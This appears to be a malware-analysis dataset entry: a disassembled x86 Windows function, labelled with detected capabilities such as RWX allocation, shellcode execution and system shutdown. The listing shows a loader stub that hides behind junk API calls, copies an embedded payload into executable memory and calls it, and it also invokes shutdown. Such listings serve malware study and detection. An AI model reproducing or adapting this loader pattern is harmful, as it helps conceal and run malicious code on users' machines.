Function at 0x402eb3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk information
Read file on windows
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84c
cmp dword [0x431b78], 0x5b1
push ebx
push esi
push edi
jne 0x402f92
xor esi, esi
push esi
lea eax, [ebp - 0x448]
push eax
push esi
push 0x4027a4
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push 0x4027cc
call dword [sym.imp.USER32.dll_CreateWindowStationW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push esi
push 0x4027fc
push 0x40282c
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push esi
lea eax, [ebp - 0x48]
push eax
push esi
push esi
push 0x402840
push esi
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
push esi
call fcn.00403baf
pop ecx
push esi
push esi
push esi
push esi
call fcn.004039f5
pop ecx
pop ecx
mov eax, esp
mov dword [eax], esi
push ecx
mov dword [eax + 4], esi
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00402b70
fstp st(0)
push esi
call fcn.0040360c
pop ecx
call fcn.004032d8
push esi
call fcn.0040373e
mov dword [esp], esi
call fcn.00402ba3
fstp st(0)
push esi
call fcn.0040373e
pop ecx
call fcn.00403c1d
add dword [0x431b78], 0x1134b
push 0x402870
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x402880
push eax
mov dword [0x430acc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x431b78]
xor esi, esi
push esi
mov dword [0x430ac4], eax
call eax
xor edi, edi
mov dword [0x430ac8], eax
cmp dword [0x431b78], esi
jbe 0x40302f
cmp dword [0x431b78], 0xa8
mov eax, dword [0x431b7c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x430ac8]
mov byte [ecx + edi], al
jne 0x403026
push esi
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x848]
push eax
push 0x402890
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
inc edi
cmp edi, dword [0x431b78]
jb 0x402fde
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov dword [ebp - 4], esi
mov eax, dword [0x431b78]
mov ecx, dword [ebp - 4]
add eax, ecx
cmp eax, 0xe
jne 0x4030eb
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 0x4028a0
push 0x402900
push 0x402928
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
push esi
push esi
call sub.KERNEL32.dll_SetSystemPowerState
push esi
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x848]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownW]
push esi
push esi
push esi
call ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push esi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x448]
push eax
push 0x402964
lea eax, [ebp - 0x1c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push esi
push esi
lea eax, [ebp - 8]
push eax
call ebx
push 0x402994
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x39621
jl 0x403038
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call edi
push esi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp ebx, 0x206d47
jg 0x403125
inc ebx
cmp ebx, 0x4f6a4
jl 0x403103
mov ebx, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessagePos]
dec ebx
jne 0x40312a
call fcn.00402e21
call edi
cmp ebx, 0x26
jne 0x403155
call fcn.00402e99
inc ebx
cmp ebx, 0x6753f
jl 0x403149
push 0x7b
pop edi
cmp dword [0x431b78], 0x86
jne 0x4031af
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push 0x4029b0
push 0x4029f4
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
push esi
push 0x402a00
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0x402a2c
call dword [sym.imp.KERNEL32.dll_AddAtomA]
dec edi
jne 0x403161
call fcn.00402be7
pop edi
pop esi
pop ebx
leave
ret